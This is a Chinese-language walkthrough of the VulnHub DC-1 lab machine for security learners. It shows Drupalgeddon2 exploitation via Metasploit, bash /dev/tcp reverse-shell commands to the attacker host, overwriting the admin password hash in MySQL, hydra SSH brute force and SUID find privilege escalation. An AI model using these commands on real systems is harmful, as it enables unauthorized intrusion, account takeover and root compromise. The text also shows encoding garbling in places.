【CyberSecurityLearning 70】DC系列之DC-1渗透测试(Drupal)
目錄
DC-1 靶機(jī)滲透測(cè)試實(shí)戰(zhàn)
背景資料:
知識(shí)點(diǎn)
一、實(shí)驗(yàn)環(huán)境
二、實(shí)驗(yàn)要求
三、滲透過程演示
Flag1:
Flag2:
Flag3:
Flag4:
Flag5:
DC-1 靶機(jī)滲透測(cè)試實(shí)戰(zhàn)
背景資料:
vulnhub 地址:
https://www.vulnhub.com/entry/dc-1-1,292/
There are multiple ways of gaining root, however, I have included some flags which contain clues for beginners.
There are five flags in total, but the ultimate goal is to find and read the flag in root's home directory. You don't even need to be root to do this, however, you will require root privileges.
作者說一共有五個(gè)flag,有多種方法去提權(quán),我們最終目標(biāo)是去拿到/root的flag。總的來說,難度不高,適合新人練手。
知識(shí)點(diǎn)
CVE-2018-7600 Drupal核心遠(yuǎn)程代碼執(zhí)行漏洞
drupal配置文件和重置管理員密碼
suid提權(quán)
一、實(shí)驗(yàn)環(huán)境
實(shí)驗(yàn)環(huán)境:
kali2021:192.168.3.146/24(橋接到vmnet0)
靶機(jī)環(huán)境DC-1(橋接到vmnet0,MAC地址:00:0C:29:FA:13:84)
保證kali和DC-1在同一個(gè)網(wǎng)段
二、實(shí)驗(yàn)要求
靶機(jī)中一共有五個(gè)flag文件,我們需要找到它們,即可完成任務(wù)。
三、滲透過程演示
打開測(cè)試靶機(jī)DC-1
查看DC-1主機(jī)的網(wǎng)卡:NAT模式
MAC地址:00:0C:29:FA:13:84
為了操作方便,選擇用ssh遠(yuǎn)程連接一下Kali
入侵演示:
官方?jīng)]有給用戶名和密碼,我們也無法知道該靶機(jī)IP是多少,需要自己去測(cè)試。但是咱自己的kali攻擊機(jī)是知道IP的,而且kali和靶機(jī)在同一個(gè)網(wǎng)段下面。
那就簡(jiǎn)單了,直接使用nmap掃描整個(gè)C段,得到如下信息:nmap -sP 192.168.3.1/24 -oN nmap.sp(這個(gè)后綴名是什么無所謂)
MAC 對(duì)照得到其IP地址
得知DC-1靶機(jī)的IP地址為192.168.3.144
對(duì)該靶機(jī)進(jìn)行詳細(xì)的掃描? nmap -A 192.168.3.144 -p 1-65535 -oN nmap.A
可以看到其22端口和 80 端口都是開放的
在80端口下,我們可以看到其網(wǎng)站的模板為:Drupal 7
22(ssh) ? 考慮爆破
80?? drupal??? CMS(網(wǎng)站內(nèi)容管理系統(tǒng))
Drupal是國(guó)外三大開源的PHP CMS 之一
1、drupal
2、wordpress
3、joomla
所以說找到它的一個(gè)模板,其他自己定義,直接拿來用。
由nmap掃描端口后,在瀏覽器內(nèi)輸入ip后進(jìn)行訪問,查看到是一個(gè)Drupal cms管理系統(tǒng)。
掃描網(wǎng)站目錄
工具1:dirb(網(wǎng)站目錄掃描器,效率還是很高的,,掃描網(wǎng)站的目錄以及文件,kali自帶,有默認(rèn)字典)
命令:dirb http://192.168.3.144/
訪問robots.txt
工具2、dirbuster(kali2021自帶,kali2019好像要自己裝,要提供字典)
沒安裝的話,安裝以下命令安裝:
apt-get update
apt-get install dirbuster
robots.txt介紹:
robots協(xié)議(也稱為爬蟲協(xié)議、爬蟲規(guī)則、機(jī)器人協(xié)議 等)也就是robots.txt,網(wǎng)站通過robots協(xié)議告訴搜索 引擎哪些頁(yè)面可以抓取,哪些頁(yè)面不希望被抓取。
有什么作用
Robots協(xié)議是網(wǎng)站國(guó)際互聯(lián)網(wǎng)界通行的道德規(guī)范,其 目的是保護(hù)網(wǎng)站數(shù)據(jù)和敏感信息、確保用戶個(gè)人信息和 隱私不被侵犯。
因其不是命令,故需要搜索引擎自覺遵守。
一個(gè)網(wǎng)站為什么要寫robots.txt
1、保護(hù)網(wǎng)站安全
2、節(jié)省流量
3、禁止搜索引擎收錄部分頁(yè)面
4、引導(dǎo)蜘蛛爬網(wǎng)站地圖
Robots.txt放置位置
Robots.txt文件應(yīng)該放置在網(wǎng)站根目錄下
例如:當(dāng)spider訪問一個(gè)網(wǎng)站(http://www.xxx.com)時(shí),首先會(huì)檢查該網(wǎng)站中是否存在http://www.xxx.com/robots.txt這個(gè)文件,如果 Spider找到這個(gè)文件,它就會(huì)根據(jù)這個(gè)文件的內(nèi)容,來確定它訪問權(quán)限的范圍。
Robots.txt文件的寫法
User-agent: * 這里的*代表的所有的搜索引擎種類,*是一個(gè)通配符
Disallow: /admin/ 這里定義是禁止爬尋admin目錄下面的目錄
Disallow: /*?* 禁止訪問網(wǎng)站中所有包含問號(hào) (?) 的網(wǎng)址
Disallow: /.jpg$ 禁止抓取網(wǎng)頁(yè)所有的.jpg格式的圖片
Disallow:/ab/adc.html 禁止爬取ab文件夾下面的adc.html文件。
Allow: /cgi-bin/ 這里定義是允許爬尋cgi-bin目錄下面的目錄
Allow: .htm$ 僅允許訪問以".htm"為后綴的URL。
Allow: .gif$ 允許抓取網(wǎng)頁(yè)和gif格式圖片
Sitemap: 網(wǎng)站地圖 告訴爬蟲這個(gè)頁(yè)面是網(wǎng)站地圖
百度站長(zhǎng)平臺(tái)創(chuàng)建robots
訪問http://192.168.3.144/UPGRADE.txt
發(fā)現(xiàn)當(dāng)前版本是7.x
現(xiàn)在確定了組件的名字和版本,現(xiàn)在就可以搜索一下Drupal 7.x有什么漏洞
1、百度:drupal 7.x漏洞
2、去MSF里面搜索有沒有Drupal 7.x漏洞攻擊模塊
MSF:
通過使用MSF 直接搜索該網(wǎng)站模板存在的漏洞
啟動(dòng)
msfconsole
search drupal
使用該攻擊模塊
msf6 > use exploit/unix/webapp/drupal_drupalgeddon2
References:
? https://nvd.nist.gov/vuln/detail/CVE-2018-7600
? https://www.drupal.org/sa-core-2018-002
? https://greysec.net/showthread.php?tid=2912
? https://research.checkpoint.com/uncovering-drupalgeddon-2/
? https://github.com/a2u/CVE-2018-7600
? https://github.com/nixawk/labs/issues/19
? https://github.com/FireFart/CVE-2018-7600
Also known as:
? SA-CORE-2018-002
? Drupalgeddon 2
選擇攻擊載荷
set payload php/meterpreter/reverse_tcp?
缺少目標(biāo)地址,設(shè)置目標(biāo)地址后,開始攻擊
這就相當(dāng)于我們成功入侵系統(tǒng)了!拿到shell,但是這個(gè)系統(tǒng)中有5個(gè)flag,要把這五個(gè)flag都找到
發(fā)現(xiàn)有一個(gè)flag1.php
?
Flag1:
cat flag1:
Every good CMS needs a config file - and so do you.
這句話指引我們,應(yīng)該去找的該網(wǎng)站的配置文件
這里已經(jīng)成功獲取了flag1,但是flag1把線索引向了配置文件,這個(gè)配置文件肯定是網(wǎng)站的配置文件
接下來查找一下網(wǎng)站的配置文件
在哪呢?我們發(fā)現(xiàn)web.config比較可以,我們查看一下發(fā)現(xiàn)是XML文件,查看后沒有什么線索。
思考:既然它是一個(gè)web應(yīng)用,web應(yīng)用一般都有數(shù)據(jù)庫(kù),那web應(yīng)用的數(shù)據(jù)庫(kù)密碼是以明文的方式寫在我們的腳本里面,那我們是不是可以去找一下數(shù)據(jù)庫(kù)的密碼是什么
數(shù)據(jù)庫(kù)的配置文件一般寫在哪個(gè)目錄里面呢?自己一個(gè)一個(gè)去嘗試
因?yàn)椴恢纃urpal配置文件的路徑,所以只能嘗試一個(gè)一個(gè)路徑去找,看能不能發(fā)現(xiàn)其他信息,發(fā)現(xiàn)一部分文件不能訪問,重點(diǎn)關(guān)注includes,sites,web,config等文件,最后在sites/default/settings.php中發(fā)現(xiàn)了flag2。
最后發(fā)現(xiàn)在sites目錄里面的default
?
Flag2:
cat sites/default/settings.php
/**
?*
?* flag2
?* Brute force and dictionary attacks aren't the
?* only ways to gain access (and you WILL need access).
?* What can you do with these credentials?
?*
?*/
Flag2提示:暴力和字典攻擊不是獲取訪問權(quán)限的唯一方式,并且將需要訪問權(quán)限。同時(shí)文件中,也給出了mysql數(shù)據(jù)庫(kù)的賬戶名和密碼,嘗試使用給出的密碼和用戶名進(jìn)行登錄發(fā)現(xiàn)無法登錄成功。
????? 'database' => 'drupaldb',
????? 'username' => 'dbuser',
????? 'password' => 'R0ck3t',
????? 'host' => 'localhost',
????? 'port' => '',
????? 'driver' => 'mysql',
????? 'prefix' => '',
在meterpreter狀態(tài)下輸入命令shell,可以獲取系統(tǒng)控制臺(tái)的shell
接下來構(gòu)造一個(gè)命令去登錄它的MySQL數(shù)據(jù)庫(kù)
我們查看一下3306端口有沒有開放:netstat -anptl
嘗試連接:mysql -udbuser -pR0ck3t
建立持久性連接:做一個(gè)shell反彈
本地監(jiān)聽一下:nc -lvvp 2333(監(jiān)聽一下2333端口)
bash -i >& /dev/tcp/192.168.3.146/2333 0>&1?? (反彈到kali,kali地址是190.168.3.146),感覺會(huì)錯(cuò)誤bin下的bash不允許你調(diào)用
改成:/bin/sh -i >& /dev/tcp/192.168.3.146/2333 0>&1 (發(fā)現(xiàn)還是不行)
我們進(jìn)入交互式shell
[python -c 'import pty;pty.spawn("/bin/bash")']
我們看看在這種情況下能不能做shell反彈:bash -i >& /dev/tcp/192.168.3.146/2333 0>&1?
這種情況就能彈成功,為什么呢? 因?yàn)檫@個(gè)是通過python調(diào)的bash
嘗試連接:mysql -udbuser -pR0ck3t
成功登陸!
現(xiàn)在已經(jīng)登錄MySQL數(shù)據(jù)庫(kù)了
mysql> select * from users\G
密碼的密文我們需要手動(dòng)去生成一下,生成密碼的密文在哪個(gè)路徑下?
在/var/www目錄下執(zhí)行php scripts/password-hash.sh admin(命令含義是使用PHP去調(diào)用script下的password-hash.sh腳本生成密碼為admin的密文)
password: admin???????????????? hash: $S$DI2XausdwhPk7pyaZIpVBdo.iwsG15GLI3H8CgatQez0itWkKz.M
接下來我們用這段hash值把原來admin用戶的hash值覆蓋掉
update users set pass="$S$DI2XausdwhPk7pyaZIpVBdo.iwsG15GLI3H8CgatQez0itWkKz.M" where uid=1;(修改表)
Flag3:
接下來我們找到網(wǎng)站直接登錄,登錄成功!
Flag3
Special PERMS will help FIND the passwd - but you'll need to -exec >that command to work out how to get what's in the shadow.
直接把線索指向passwd
Flag4:
cat /etc/passwd? 發(fā)現(xiàn)flag4
發(fā)現(xiàn)有/bin/bash說明flag4允許登錄!
我們已知它開放了22端口,我們可以嘗試爆破:
接下來我們使用hydra 爆破,該用戶密碼
hydra -l flag4 -P /usr/share/john/password.lst 192.168.3.144 ssh -vV -f -o hydra.ssh
-vV是顯示詳細(xì)的爆破詳細(xì)
-f是如果遇到正確密碼就停止爆破
-o是把爆破結(jié)果輸出到一個(gè)文件中去
得到flag4的密碼是orange
通過ssh登錄一下:
ssh flag4@192.168.3.144
根據(jù)提示:另外一個(gè)flag在root的家目錄下,但是這個(gè)過程不是特別簡(jiǎn)單
接下來考慮提權(quán):
利用操作系統(tǒng)內(nèi)核提權(quán)(是絕招,最后一招,到絕境中使用)
但是系統(tǒng)內(nèi)核提權(quán)之前,我們需要做一項(xiàng)檢查,檢查系統(tǒng)之中是否有一些命令具有suid標(biāo)識(shí)
如果有一些命令具有suid標(biāo)志,說明這個(gè)命令在執(zhí)行的過程中,會(huì)短暫的獲得(其實(shí)不短暫)root權(quán)限,如果我們通過這些擁有suid標(biāo)志的命令去調(diào)用bash的話,這個(gè)bash也會(huì)繼承suid權(quán)限,也就會(huì)繼承root權(quán)限。
那我們?cè)趺慈ふ矣衧uid標(biāo)識(shí)的命令呢?使用find / -perm -4000 2>/dev/null
Flag5:
這里面有哪些命令能調(diào)用bash呢?
find命令有個(gè)漏洞,就是它可以調(diào)用外部命令
find? ajest -exec "whoami" \;(這里面字符一個(gè)都不能省略)
find? ajest -exec "/bin/sh" \;
這樣我們就成功拿到了最后一個(gè)flag,我們也成功獲得我們主機(jī)的root權(quán)限!
總結(jié)
以上是生活随笔為你收集整理的【CyberSecurityLearning 70】DC系列之DC-1渗透测试(Drupal)的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 作者:郝丽丽(1983-),女,博士,中
- 下一篇: 【2016年第5期】卫星影像大数据情报分